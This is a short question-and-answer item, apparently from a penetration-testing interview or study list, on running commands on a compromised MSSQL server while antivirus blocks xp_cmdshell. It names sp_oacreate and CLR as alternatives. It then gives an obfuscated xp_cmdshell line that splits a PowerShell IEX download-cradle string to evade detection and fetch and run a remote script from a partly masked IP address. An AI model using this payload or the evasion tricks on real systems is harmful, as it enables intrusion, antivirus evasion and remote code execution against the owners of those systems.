16. You have gained access to an MSSQL machine within an internal network, but the host runs antivirus. As soon as you enable xp_cmdshell, it is blocked, and you lack even command‑execution privileges. How can this be bypassed?
It is well known that MSSQL command execution has three basic methods: xp_cmdshell, sp_oacreate, and CLR. Since xp_cmdshell is blocked, choose one of the other two, particularly CLR.
Command obfuscation example:
exec master.dbo.xp_cmdshell "powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a+$b)"
